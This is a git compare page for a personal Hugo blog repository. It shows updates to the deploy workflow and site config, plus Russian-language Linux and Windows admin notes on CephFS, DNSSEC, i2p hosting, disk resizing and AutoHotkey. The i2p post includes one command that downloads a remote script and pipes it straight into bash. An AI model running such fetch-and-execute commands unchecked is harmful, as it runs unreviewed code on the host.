mirror of
https://github.com/fruworg/fruworg.github.io.git
synced 2025-07-01 23:43:59 +03:00
Compare commits
98 Commits
a132e71f4a
...
main
Author | SHA1 | Date | |
---|---|---|---|
370f54e777 | |||
b4f5bae528 | |||
efdcf3f7e9 | |||
5b3c07daf2 | |||
e9058cf463 | |||
89872c6db8 | |||
62d3c4c8f9 | |||
5a560e49f1 | |||
75286baade | |||
5dc75e981e | |||
db099bde71 | |||
4c18587000 | |||
e12e35070c | |||
f93bd04659 | |||
2839b56ed4 | |||
8055a8e019 | |||
afbbb240ef | |||
01cb4bba16 | |||
843a9df5ac | |||
30562fd47a | |||
679383ab46 | |||
c3fd5815a5 | |||
8cbbeedd2b | |||
a2ad64266a | |||
1917099f70 | |||
69fe73f4e2 | |||
044e95c4f4 | |||
1a813268c0 | |||
566646b9e7 | |||
ffae9f59e4 | |||
14ab9aaca8 | |||
a0779bf03b | |||
dcef7fcb06 | |||
7308b88594 | |||
976135d17e | |||
52a2785251 | |||
ebdd2bbed7 | |||
ccbe7d251f | |||
77548ad0a3 | |||
4c7d8fa703 | |||
59e403ff61 | |||
065c517ba4 | |||
fded74c558 | |||
2b22134d1f | |||
1a4cfe4b23 | |||
d016387976 | |||
059c24ef6f | |||
751d0edc3f | |||
f82e30c1ff | |||
44c7c2a210 | |||
d2c595f724 | |||
cae767240c | |||
dfbf0fd7bd | |||
be08d99f96 | |||
d0c48765cd | |||
60acdc72cc | |||
5429fe9431 | |||
53c9288161 | |||
45ecaf391b | |||
2791a8cfb8 | |||
913fc2a56f | |||
ebdb2897b7 | |||
e8585672a3 | |||
8367f715b8 | |||
e9fe3fc3bf | |||
6e025c5240 | |||
6e0d304e50 | |||
9f65ed9b57 | |||
f5825d9638 | |||
1f831378e8 | |||
dafed111a8 | |||
9c390ae557 | |||
d5cf1769fc | |||
89f4a06df9 | |||
8e8fedb304 | |||
6d0d990509 | |||
71eb8a2e15 | |||
6ab2476eb7 | |||
67b6cfc1bb | |||
2741f3b225 | |||
a1d76ba75d | |||
7cd6089b04 | |||
18553cbd59 | |||
bf7914c051 | |||
dd3b2934f1 | |||
1d497ca9ce | |||
536dbcb1e1 | |||
6dc3b193b2 | |||
fc0211a679 | |||
e88edce852 | |||
a0da1db19d | |||
2f269081ed | |||
9bfafe2086 | |||
a51bd84b61 | |||
177fed258c | |||
41a208ffe0 | |||
299a17db96 | |||
502633a0d5 |
32
.github/workflows/hugo.yml
vendored
32
.github/workflows/hugo.yml
vendored
@ -1,10 +1,11 @@
|
|||||||
# Sample workflow for building and deploying a Hugo site to GitHub Pages
|
# Sample workflow for building and deploying a Hugo site to GitHub Pages
|
||||||
name: Deploy Hugo site to Pages & Neocities
|
name: Deploy Hugo site to Pages
|
||||||
|
|
||||||
on:
|
on:
|
||||||
# Runs on pushes targeting the default branch
|
# Runs on pushes targeting the default branch
|
||||||
push:
|
push:
|
||||||
branches: ["main"]
|
branches:
|
||||||
|
- main
|
||||||
|
|
||||||
# Allows you to run this workflow manually from the Actions tab
|
# Allows you to run this workflow manually from the Actions tab
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
@ -31,7 +32,7 @@ jobs:
|
|||||||
build:
|
build:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
env:
|
env:
|
||||||
HUGO_VERSION: 0.119.0
|
HUGO_VERSION: 0.141.0
|
||||||
steps:
|
steps:
|
||||||
- name: Install Hugo CLI
|
- name: Install Hugo CLI
|
||||||
run: |
|
run: |
|
||||||
@ -40,26 +41,31 @@ jobs:
|
|||||||
- name: Install Dart Sass
|
- name: Install Dart Sass
|
||||||
run: sudo snap install dart-sass
|
run: sudo snap install dart-sass
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v3
|
uses: actions/checkout@v4
|
||||||
with:
|
with:
|
||||||
submodules: recursive
|
submodules: recursive
|
||||||
|
fetch-depth: 0
|
||||||
- name: Setup Pages
|
- name: Setup Pages
|
||||||
id: pages
|
id: pages
|
||||||
uses: actions/configure-pages@v3
|
uses: actions/configure-pages@v5
|
||||||
- name: Install Node.js dependencies
|
- name: Install Node.js dependencies
|
||||||
run: "[[ -f package-lock.json || -f npm-shrinkwrap.json ]] && npm ci || true"
|
run: "[[ -f package-lock.json || -f npm-shrinkwrap.json ]] && npm ci || true"
|
||||||
- name: Build with Hugo
|
- name: Build with Hugo
|
||||||
env:
|
env:
|
||||||
# For maximum backward compatibility with Hugo modules
|
HUGO_CACHEDIR: ${{ runner.temp }}/hugo_cache
|
||||||
HUGO_ENVIRONMENT: production
|
HUGO_ENVIRONMENT: production
|
||||||
HUGO_ENV: production
|
TZ: America/Los_Angeles
|
||||||
run: |
|
run: |
|
||||||
hugo \
|
hugo \
|
||||||
|
--gc \
|
||||||
|
--minify \
|
||||||
--baseURL "${{ steps.pages.outputs.base_url }}/"
|
--baseURL "${{ steps.pages.outputs.base_url }}/"
|
||||||
- name: Change color
|
- name: Change color
|
||||||
run: sed -i 's/peachpuff/rebeccapurple/g' public/css/main.*.css
|
run: sed -i 's/peachpuff/rebeccapurple/g' public/css/main.*.css
|
||||||
|
- name: Change URI
|
||||||
|
run: find public -type f -exec sed -i 's/\/\/fruw.org/\/\/fruworg.github.io/g' {} +
|
||||||
- name: Upload artifact
|
- name: Upload artifact
|
||||||
uses: actions/upload-pages-artifact@v2
|
uses: actions/upload-pages-artifact@v3
|
||||||
with:
|
with:
|
||||||
path: ./public
|
path: ./public
|
||||||
|
|
||||||
@ -73,7 +79,7 @@ jobs:
|
|||||||
steps:
|
steps:
|
||||||
- name: Deploy to GitHub Pages
|
- name: Deploy to GitHub Pages
|
||||||
id: deployment
|
id: deployment
|
||||||
uses: actions/deploy-pages@v2
|
uses: actions/deploy-pages@v4
|
||||||
|
|
||||||
deploy-neocities:
|
deploy-neocities:
|
||||||
environment:
|
environment:
|
||||||
@ -82,7 +88,7 @@ jobs:
|
|||||||
needs: build
|
needs: build
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
- uses: actions/download-artifact@v3
|
- uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
path: .
|
path: .
|
||||||
- name: Create directory
|
- name: Create directory
|
||||||
@ -94,7 +100,9 @@ jobs:
|
|||||||
- name: Rename 404 page
|
- name: Rename 404 page
|
||||||
run: mv public/404.html public/not_found.html
|
run: mv public/404.html public/not_found.html
|
||||||
- name: Change color
|
- name: Change color
|
||||||
run: sed -i 's/rebeccapurple/mediumseagreen/g' public/css/main.*.css
|
run: sed -i 's/rebeccapurple/mediumseagreen/g' public/css/main.*.css
|
||||||
|
- name: Delete id_rsa.pub
|
||||||
|
run: rm public/id_rsa.pub
|
||||||
- name: Deploy to Neocities
|
- name: Deploy to Neocities
|
||||||
uses: bcomnes/deploy-to-neocities@v1
|
uses: bcomnes/deploy-to-neocities@v1
|
||||||
with:
|
with:
|
||||||
|
2
.gitmodules
vendored
2
.gitmodules
vendored
@ -1,3 +1,3 @@
|
|||||||
[submodule "themes/themu"]
|
[submodule "themes/themu"]
|
||||||
path = themes/themu
|
path = themes/themu
|
||||||
url = https://github.com/fruworg/themu
|
url = https://github.com/fruworg/themu.git
|
||||||
|
@ -3,4 +3,3 @@ title: "{{ replace .Name "-" " " | title }}"
|
|||||||
date: {{ .Date }}
|
date: {{ .Date }}
|
||||||
draft: true
|
draft: true
|
||||||
---
|
---
|
||||||
|
|
||||||
|
28
config.toml
28
config.toml
@ -2,13 +2,13 @@ baseURL = "https://fruw.org/"
|
|||||||
languageCode = "ru-RU"
|
languageCode = "ru-RU"
|
||||||
languageName = "Russian"
|
languageName = "Russian"
|
||||||
defaultContentLanguage = 'ru'
|
defaultContentLanguage = 'ru'
|
||||||
title = "фруворг"
|
title = "fruworg"
|
||||||
theme = "themu"
|
theme = "themu"
|
||||||
|
|
||||||
pygmentsstyle = "fruity"
|
pygmentsstyle = "fruity"
|
||||||
pygmentscodefences = true
|
pygmentscodefences = true
|
||||||
pygmentscodefencesguesssyntax = true
|
pygmentscodefencesguesssyntax = true
|
||||||
paginate = 4
|
pagination.pagerSize = 4
|
||||||
|
|
||||||
[params]
|
[params]
|
||||||
description = "всем привет!"
|
description = "всем привет!"
|
||||||
@ -32,7 +32,7 @@ name = "pgp"
|
|||||||
url = "//keys.openpgp.org/pks/lookup?op=get&options=mr&search=im@fruw.org"
|
url = "//keys.openpgp.org/pks/lookup?op=get&options=mr&search=im@fruw.org"
|
||||||
|
|
||||||
[[params.social]]
|
[[params.social]]
|
||||||
name = "keyoxide"
|
name = "id"
|
||||||
url = "//keyoxide.org/86a5f8191783e6f1"
|
url = "//keyoxide.org/86a5f8191783e6f1"
|
||||||
|
|
||||||
[[params.social]]
|
[[params.social]]
|
||||||
@ -43,6 +43,14 @@ url = "//up.fruw.org"
|
|||||||
name = "git"
|
name = "git"
|
||||||
url = "//github.com/fruworg"
|
url = "//github.com/fruworg"
|
||||||
|
|
||||||
|
[[params.social]]
|
||||||
|
name = "steam"
|
||||||
|
url = "//steamcommunity.com/id/fruworg"
|
||||||
|
|
||||||
|
[[params.social]]
|
||||||
|
name = "x"
|
||||||
|
url = "//x.com/fruworg"
|
||||||
|
|
||||||
[[menu.main]]
|
[[menu.main]]
|
||||||
name = "посты"
|
name = "посты"
|
||||||
url = "/posts"
|
url = "/posts"
|
||||||
@ -59,6 +67,16 @@ url = "/index.xml"
|
|||||||
weight = 3
|
weight = 3
|
||||||
|
|
||||||
[[menu.main]]
|
[[menu.main]]
|
||||||
name = "webring"
|
name = "dn42"
|
||||||
url = "/webring.html"
|
url = "https://f.dn42"
|
||||||
weight = 4
|
weight = 4
|
||||||
|
|
||||||
|
[[menu.main]]
|
||||||
|
name = "i2p"
|
||||||
|
url = "http://f.i2p"
|
||||||
|
weight = 5
|
||||||
|
|
||||||
|
[[menu.main]]
|
||||||
|
name = "tor"
|
||||||
|
url = "http://fruworgtuaajxcxdcygjybaeon7oid4ibkaugotfavucjs4i7zbrrnad.onion"
|
||||||
|
weight = 6
|
||||||
|
@ -8,7 +8,7 @@ tags: [linux, astra, krb5]
|
|||||||
|
|
||||||
В файл `/etc/hosts` необходимо добавить ip и fqdn DC:
|
В файл `/etc/hosts` необходимо добавить ip и fqdn DC:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
<dc-ip> <dc-name>.<domain> <dc-name>
|
<dc-ip> <dc-name>.<domain> <dc-name>
|
||||||
```
|
```
|
||||||
|
|
||||||
@ -18,28 +18,32 @@ hostnamectl set-hostname <dc-name>.<domain>
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Добавление репозиториев ALD Pro
|
## Добавление репозиториев ALD Pro
|
||||||
|
|
||||||
В файл `/etc/apt/sources.list.d/aldpro.list` необходимо добавить репозиторий ALD Pro:
|
В файл `/etc/apt/sources.list.d/aldpro.list` необходимо добавить репозиторий ALD Pro:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
deb https://download.astralinux.ru/aldpro/stable/repository-main/ 1.0.0 main
|
deb https://download.astralinux.ru/aldpro/stable/repository-main/ 1.0.0 main
|
||||||
deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic main
|
deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic main
|
||||||
```
|
```
|
||||||
|
|
||||||
## Выставление приоритета репозиториев
|
## Выставление приоритета репозиториев
|
||||||
|
|
||||||
В файле `/etc/apt/preferences.d/aldpro` необходимо выставить приоритет репозиториев:
|
В файле `/etc/apt/preferences.d/aldpro` необходимо выставить приоритет репозиториев:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
Package: *
|
Package: *
|
||||||
Pin: release n=generic
|
Pin: release n=generic
|
||||||
Pin-Priority: 900
|
Pin-Priority: 900
|
||||||
```
|
```
|
||||||
|
|
||||||
## Установка пакета
|
## Установка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp
|
DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp
|
||||||
```
|
```
|
||||||
|
|
||||||
## Развёртывание
|
## Развёртывание
|
||||||
|
|
||||||
После того, как команда развёртывания отработает и сервер перезагрузитcя,
|
После того, как команда развёртывания отработает и сервер перезагрузитcя,
|
||||||
сервер ALD Pro будет доступен по адресу: `https://<dc-name>.<domain>`
|
сервер ALD Pro будет доступен по адресу: `https://<dc-name>.<domain>`
|
||||||
|
|
||||||
|
@ -5,12 +5,12 @@ description: Небольшая памятка
|
|||||||
tags: [linux, astra]
|
tags: [linux, astra]
|
||||||
---
|
---
|
||||||
## Установка пакета fly
|
## Установка пакета fly
|
||||||
```bash
|
```shell
|
||||||
apt install fly-all-main
|
apt install fly-all-main
|
||||||
```
|
```
|
||||||
|
|
||||||
## Загрузка ОС с GUI по-умолчанию
|
## Загрузка ОС с GUI по-умолчанию
|
||||||
```bash
|
```shell
|
||||||
systemctl set-default graphical.target
|
systemctl set-default graphical.target
|
||||||
```
|
```
|
||||||
|
|
||||||
@ -22,6 +22,6 @@ systemctl get-default
|
|||||||
```
|
```
|
||||||
|
|
||||||
### Вернуть загрузку ОС с CLI
|
### Вернуть загрузку ОС с CLI
|
||||||
```bash
|
```shell
|
||||||
systemctl set-default multi-user.target
|
systemctl set-default multi-user.target
|
||||||
```
|
```
|
||||||
|
@ -9,7 +9,7 @@ tags: [linux, astra, krb5, freeipa]
|
|||||||
### Создания сетевой видимости
|
### Создания сетевой видимости
|
||||||
На клиенте и DC необходимо в файл `/etc/hosts` добавить оба ip и fqdn:
|
На клиенте и DC необходимо в файл `/etc/hosts` добавить оба ip и fqdn:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
<server-ip> <server-name>.<domain> <server-name>
|
<server-ip> <server-name>.<domain> <server-name>
|
||||||
<client-ip> <client-name>.<domain> <client-name>
|
<client-ip> <client-name>.<domain> <client-name>
|
||||||
```
|
```
|
||||||
|
46
content/posts/autohotkey.md
Normal file
46
content/posts/autohotkey.md
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
---
|
||||||
|
title: Полезные бинды клавиш в Windows
|
||||||
|
description: AutoHotkey v2
|
||||||
|
date: 2025-01-14T11:36:00+01:00
|
||||||
|
tags: [windows]
|
||||||
|
---
|
||||||
|
|
||||||
|
## Вступление
|
||||||
|
Для бинда клавиш я использую [AutoHotkey](https://www.autohotkey.com/download/ahk-v2.exe). Для автозапуска нужно перенести `.ahk` файлы в `shell:startup`.
|
||||||
|
|
||||||
|
## CapLang.ahk
|
||||||
|
Смена раскладки по нажатию на `CapsLock`. Сам `CapsLock` переключается через `Shift+CapsLock`.
|
||||||
|
|
||||||
|
```python
|
||||||
|
SendMode("Input")
|
||||||
|
SetWorkingDir A_ScriptDir
|
||||||
|
+CapsLock::SetCapsLockState !GetKeyState("CapsLock", "T")
|
||||||
|
CapsLock::Send "{Alt Down}{Shift Down}{Shift Up}{Alt Up}"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Kitty.ahk
|
||||||
|
Запуск Kitty по нажатию на кнопку `Copilot`.
|
||||||
|
|
||||||
|
```python
|
||||||
|
SendMode("Input")
|
||||||
|
SetWorkingDir A_ScriptDir
|
||||||
|
+#f23:: Run "C:\Program Files\Kitty\kitty.exe -load <your-profile-name>"
|
||||||
|
```
|
||||||
|
|
||||||
|
## WSL.ahk
|
||||||
|
Запуск WSL по нажатию на `Ctrl+Alt+T`
|
||||||
|
|
||||||
|
```python
|
||||||
|
SendMode("Input")
|
||||||
|
SetWorkingDir A_ScriptDir
|
||||||
|
<^<!t::Run 'powershell.exe -noexit -command "cd <wsl-home-dir>; wsl"'
|
||||||
|
```
|
||||||
|
|
||||||
|
## PrintScreen.ahk
|
||||||
|
Скриншот нажатием на правый альт.
|
||||||
|
|
||||||
|
```python
|
||||||
|
SendMode("Input")
|
||||||
|
SetWorkingDir A_ScriptDir
|
||||||
|
RAlt::PrintScreen
|
||||||
|
```
|
@ -37,7 +37,7 @@ exit
|
|||||||
### Бэкап определённой папки
|
### Бэкап определённой папки
|
||||||
В файл `/etc/bareos/bareos-dir.d/fileset/<name>.conf` необходимо добавить настройку бэкапа определённой папки:
|
В файл `/etc/bareos/bareos-dir.d/fileset/<name>.conf` необходимо добавить настройку бэкапа определённой папки:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
FileSet {
|
FileSet {
|
||||||
Name = "<name>"
|
Name = "<name>"
|
||||||
Description = "<description>"
|
Description = "<description>"
|
||||||
|
68
content/posts/cephfs.md
Normal file
68
content/posts/cephfs.md
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
---
|
||||||
|
title: Создание CephFS
|
||||||
|
description: Конфигурация и автомонтирование
|
||||||
|
date: 2025-05-30T15:35:00+02:00
|
||||||
|
tags: [linux, ceph]
|
||||||
|
---
|
||||||
|
## Создание FS / Сервер
|
||||||
|
|
||||||
|
### Создание пула данных и меты
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ceph osd pool create <fs-name>_data
|
||||||
|
ceph osd pool create <fs-name>_meta
|
||||||
|
ceph osd pool set <fs-name>_data bulk true
|
||||||
|
```
|
||||||
|
|
||||||
|
### Создание FS
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ceph fs new <fs-name> <fs-name>_meta <fs-name>_data
|
||||||
|
```
|
||||||
|
|
||||||
|
### Создание пользователя
|
||||||
|
|
||||||
|
`r` - чтение\
|
||||||
|
`w` - запсись\
|
||||||
|
`s` - снапшоты\
|
||||||
|
`p` - аттрибуты
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ceph fs authorize <fs-name> client.<user> / rwsp
|
||||||
|
```
|
||||||
|
|
||||||
|
## Подключение FS / Клиент
|
||||||
|
|
||||||
|
### Установка необходимых пакетов
|
||||||
|
|
||||||
|
```shell
|
||||||
|
apt install ceph-common attr
|
||||||
|
```
|
||||||
|
|
||||||
|
### Создание директории для монтирования FS
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mkdir /mnt/cephfs-<fs-name>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Конфиг файлы
|
||||||
|
|
||||||
|
Файл `/etc/ceph/ceph.conf` необходимо скопировать с сервера на клиент.\
|
||||||
|
В файл `/etc/ceph/ceph.client.<user>.keyring` необходимо вставить вывод команды создания клиента.\
|
||||||
|
В файл `/etc/fstab` необходимо вставить следующее:
|
||||||
|
|
||||||
|
```python
|
||||||
|
<ceph-cluster.doma.in>:6789:/ /mnt/cephfs-<fs-name> ceph name=<user>,fs=<fs-name>,noatime,_netdev
|
||||||
|
```
|
||||||
|
|
||||||
|
### Монтирование
|
||||||
|
|
||||||
|
```shell
|
||||||
|
mount -a
|
||||||
|
```
|
||||||
|
|
||||||
|
### Указание размера директории
|
||||||
|
|
||||||
|
```shell
|
||||||
|
setfattr -n ceph.quota.max_bytes -v <size-in-gb>G /mnt/cephfs-<fs-name>
|
||||||
|
```
|
@ -12,7 +12,7 @@ apt install cifs-utils -y
|
|||||||
## Создание файла с данными УЗ
|
## Создание файла с данными УЗ
|
||||||
В файл `/root/.smbuser` необходимо добавить данные УЗ для подключения к шаре:
|
В файл `/root/.smbuser` необходимо добавить данные УЗ для подключения к шаре:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
username=<username>
|
username=<username>
|
||||||
password=<password>
|
password=<password>
|
||||||
domain=<domain>
|
domain=<domain>
|
||||||
@ -25,7 +25,7 @@ sudo chmod 0400 /root/.smbuser
|
|||||||
|
|
||||||
## Развёртывание
|
## Развёртывание
|
||||||
В `/etc/fstab` необходимо добавить строку подключения к шаре:
|
В `/etc/fstab` необходимо добавить строку подключения к шаре:
|
||||||
```config
|
```python
|
||||||
//<address> /<folder> cifs credentials=/root/.smbuser,uid=<uid>,gid=<gid> 0 0
|
//<address> /<folder> cifs credentials=/root/.smbuser,uid=<uid>,gid=<gid> 0 0
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -8,7 +8,7 @@ tags: [linux]
|
|||||||
Неприятно, когда конфиг не даёт поменять себя ручками, да?
|
Неприятно, когда конфиг не даёт поменять себя ручками, да?
|
||||||
В `/etc/dhcp/dhclient.conf` необходимо добавить строки перезаписи:
|
В `/etc/dhcp/dhclient.conf` необходимо добавить строки перезаписи:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
supersede domain-name-servers <dns-1>, <dns-n>;
|
supersede domain-name-servers <dns-1>, <dns-n>;
|
||||||
supersede domain-name "<domain.local>";
|
supersede domain-name "<domain.local>";
|
||||||
```
|
```
|
||||||
|
36
content/posts/dnssec-coredns.md
Normal file
36
content/posts/dnssec-coredns.md
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
---
|
||||||
|
title: Конфигурация DNSSEC
|
||||||
|
description: CoreDNS
|
||||||
|
date: 2025-06-25T13:36:00+02:00
|
||||||
|
tags: [linux, coredns]
|
||||||
|
---
|
||||||
|
## Генерация ключа
|
||||||
|
|
||||||
|
```bash
|
||||||
|
dnssec-keygen -a ECDSAP256SHA256 <doma.in>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация CoreDNS
|
||||||
|
|
||||||
|
В `Corefile` доменной зоны необходимо вставить следующее:
|
||||||
|
|
||||||
|
```python
|
||||||
|
dnssec {
|
||||||
|
key file /etc/coredns/dnssec/<filename-without-extension>
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
И перезапустить `CoreDNS` командой:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
systemctl restart coredns
|
||||||
|
```
|
||||||
|
|
||||||
|
## DS-запись
|
||||||
|
|
||||||
|
Далее необходимо добавить `DS-запись` в консоль регистратора.\
|
||||||
|
Запись можно получить выполнив следующую команду:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
dnssec-dsfromkey <filename-without-extension>
|
||||||
|
```
|
@ -14,7 +14,7 @@ tags: [linux, caddy]
|
|||||||
### Caddy
|
### Caddy
|
||||||
|
|
||||||
В Caddyfile необходимо добавить секцию с поддоменом для обновления whitelist (необходимо заменить [строку basic auth](//caddyserver.com/docs/caddyfile/directives/basicauth)):
|
В Caddyfile необходимо добавить секцию с поддоменом для обновления whitelist (необходимо заменить [строку basic auth](//caddyserver.com/docs/caddyfile/directives/basicauth)):
|
||||||
```config
|
```python
|
||||||
wh.<your.domain> {
|
wh.<your.domain> {
|
||||||
@block {
|
@block {
|
||||||
not client_ip {$WHITE_LIST}
|
not client_ip {$WHITE_LIST}
|
||||||
@ -32,7 +32,7 @@ wh.<your.domain> {
|
|||||||
```
|
```
|
||||||
|
|
||||||
Пример поддомена, доступ до которого разрешён только с IP из whitelist:
|
Пример поддомена, доступ до которого разрешён только с IP из whitelist:
|
||||||
```config
|
```python
|
||||||
sub.<your.domain> {
|
sub.<your.domain> {
|
||||||
@block {
|
@block {
|
||||||
not client_ip {$WHITE_LIST}
|
not client_ip {$WHITE_LIST}
|
||||||
@ -45,7 +45,7 @@ sub.<your.domain> {
|
|||||||
```
|
```
|
||||||
|
|
||||||
В `caddy.service` необходимо добавить следующую строку в секцию `[Service]`:
|
В `caddy.service` необходимо добавить следующую строку в секцию `[Service]`:
|
||||||
```config
|
```python
|
||||||
Environment="WHITE_LIST=127.0.0.1/8"
|
Environment="WHITE_LIST=127.0.0.1/8"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -6,6 +6,7 @@ tags: [linux]
|
|||||||
---
|
---
|
||||||
|
|
||||||
## Смена имени
|
## Смена имени
|
||||||
|
|
||||||
Команда создаст папки на английском языке и сделает их стандартными. Папки с названиями на русском языке можно удалить.
|
Команда создаст папки на английском языке и сделает их стандартными. Папки с названиями на русском языке можно удалить.
|
||||||
```bash
|
```bash
|
||||||
LANG=C xdg-user-dirs-update --force
|
LANG=C xdg-user-dirs-update --force
|
||||||
|
71
content/posts/i2p-website.md
Normal file
71
content/posts/i2p-website.md
Normal file
@ -0,0 +1,71 @@
|
|||||||
|
---
|
||||||
|
title: Поднятие сайта в i2p
|
||||||
|
description: Caddy + i2pd
|
||||||
|
date: 2025-06-25T14:10:00+02:00
|
||||||
|
tags: [linux, i2p, caddy]
|
||||||
|
---
|
||||||
|
## Установка i2pd
|
||||||
|
|
||||||
|
```shell
|
||||||
|
apt -y install -y apt-transport-https
|
||||||
|
wget -qO - https://repo.i2pd.xyz/.help/add_repo | bash -s -
|
||||||
|
apt update
|
||||||
|
apt -y install i2pd
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация i2pd
|
||||||
|
|
||||||
|
В `/etc/i2pd/tunnels.conf.d/website.conf` необходимо добавить следующее:
|
||||||
|
|
||||||
|
```python
|
||||||
|
[website]
|
||||||
|
type = http
|
||||||
|
host = 127.0.0.1
|
||||||
|
port = 80
|
||||||
|
keys = website.dat
|
||||||
|
```
|
||||||
|
|
||||||
|
И перезагрузите i2pd:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
systemctl restart i2pd
|
||||||
|
```
|
||||||
|
|
||||||
|
## Регистрация адреса
|
||||||
|
|
||||||
|
В `reg.i2p` необходимо проверить незанятость желаемого `fqdn`.\
|
||||||
|
Если `fqdn` занят, но не используется, то его тоже можно занять.\
|
||||||
|
Для регистрации необходимо сгенерировать подпись:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
git clone --recursive https://github.com/purplei2p/i2pd-tools
|
||||||
|
cd i2pd-tools
|
||||||
|
./dependencies.sh
|
||||||
|
make
|
||||||
|
```
|
||||||
|
|
||||||
|
```shell
|
||||||
|
./regaddr /var/lib/i2pd/website.dat <domain>.i2p
|
||||||
|
```
|
||||||
|
|
||||||
|
Полученный вывод необходимо вписать в страницу желаемого домена на `reg.i2p`.
|
||||||
|
|
||||||
|
## Конфигурация Caddy
|
||||||
|
|
||||||
|
Полный `b32` домен можно посмотреть командой:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
ls /var/lib/i2pd/destinations
|
||||||
|
```
|
||||||
|
|
||||||
|
В `Caddyfile` необходимо добавить следующее:
|
||||||
|
|
||||||
|
```python
|
||||||
|
http://<domain>.i2p {
|
||||||
|
respond "i2p"
|
||||||
|
}
|
||||||
|
|
||||||
|
http://<b32-domain-before-dots>.b32.i2p {
|
||||||
|
redir http://<domain>.i2p{uri}
|
||||||
|
}
|
||||||
|
```
|
@ -4,25 +4,30 @@ date: 2022-11-25T19:17:00+05:00
|
|||||||
description: Команда ip в Linux
|
description: Команда ip в Linux
|
||||||
tags: [linux]
|
tags: [linux]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Показать все интерфейсы
|
## Показать все интерфейсы
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
ip a
|
ip a
|
||||||
ip l
|
ip l
|
||||||
```
|
```
|
||||||
|
|
||||||
## Показать информацию по конкретному интерфейсу
|
## Показать информацию по конкретному интерфейсу
|
||||||
```shell
|
|
||||||
|
```bash
|
||||||
ip a show <interface>
|
ip a show <interface>
|
||||||
ip l show <interface>
|
ip l show <interface>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Изменить статус сетевого интерфейса
|
## Изменить статус сетевого интерфейса
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
ip l set <interface> down
|
ip l set <interface> down
|
||||||
ip l set <interface> up
|
ip l set <interface> up
|
||||||
```
|
```
|
||||||
|
|
||||||
## Добавить или удалить адрес
|
## Добавить или удалить адрес
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
ip a add <ip-address/mask> dev <interface>
|
ip a add <ip-address/mask> dev <interface>
|
||||||
ip a add brd <ip-address/mask> dev <interface>
|
ip a add brd <ip-address/mask> dev <interface>
|
||||||
|
29
content/posts/linux-disk-resize.md
Normal file
29
content/posts/linux-disk-resize.md
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
---
|
||||||
|
title: Ресайз диска
|
||||||
|
description: ext4
|
||||||
|
date: 2024-12-10T13:57:00+01:00
|
||||||
|
tags: [linux]
|
||||||
|
---
|
||||||
|
## Расширение раздела
|
||||||
|
|
||||||
|
`<disk>` - sda \
|
||||||
|
`<partition>` - 1
|
||||||
|
|
||||||
|
```shell
|
||||||
|
growpart /dev/<disk> <partition>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Увеличение ФС
|
||||||
|
|
||||||
|
`<partition>` - sda1
|
||||||
|
|
||||||
|
```shell
|
||||||
|
resize2fs /dev/<partition>
|
||||||
|
```
|
||||||
|
## Очистка логов
|
||||||
|
|
||||||
|
Если совсем нет места для выполнения команд
|
||||||
|
|
||||||
|
```shell
|
||||||
|
journalctl --vacuum-time=1d
|
||||||
|
```
|
@ -7,6 +7,7 @@ tags: [linux, krb5]
|
|||||||
## Конфигурация сервера
|
## Конфигурация сервера
|
||||||
|
|
||||||
### Установка пакетов
|
### Установка пакетов
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install krb5-kdc krb5-admin-server
|
apt -y install krb5-kdc krb5-admin-server
|
||||||
```
|
```
|
||||||
@ -14,28 +15,33 @@ apt -y install krb5-kdc krb5-admin-server
|
|||||||
## Конфигурация клиента
|
## Конфигурация клиента
|
||||||
|
|
||||||
### Установка пакетов
|
### Установка пакетов
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt -y install krb5-user libpam-krb5
|
apt -y install krb5-user libpam-krb5
|
||||||
```
|
```
|
||||||
|
|
||||||
## Общая конфигурация
|
## Общая конфигурация
|
||||||
|
|
||||||
На сервере и клиенте надо проделать следующие шаги:
|
На сервере и клиенте надо проделать следующие шаги:
|
||||||
|
|
||||||
### Смена hostname
|
### Смена hostname
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
hostnamectl set-hostname <hostname>
|
hostnamectl set-hostname <hostname>
|
||||||
```
|
```
|
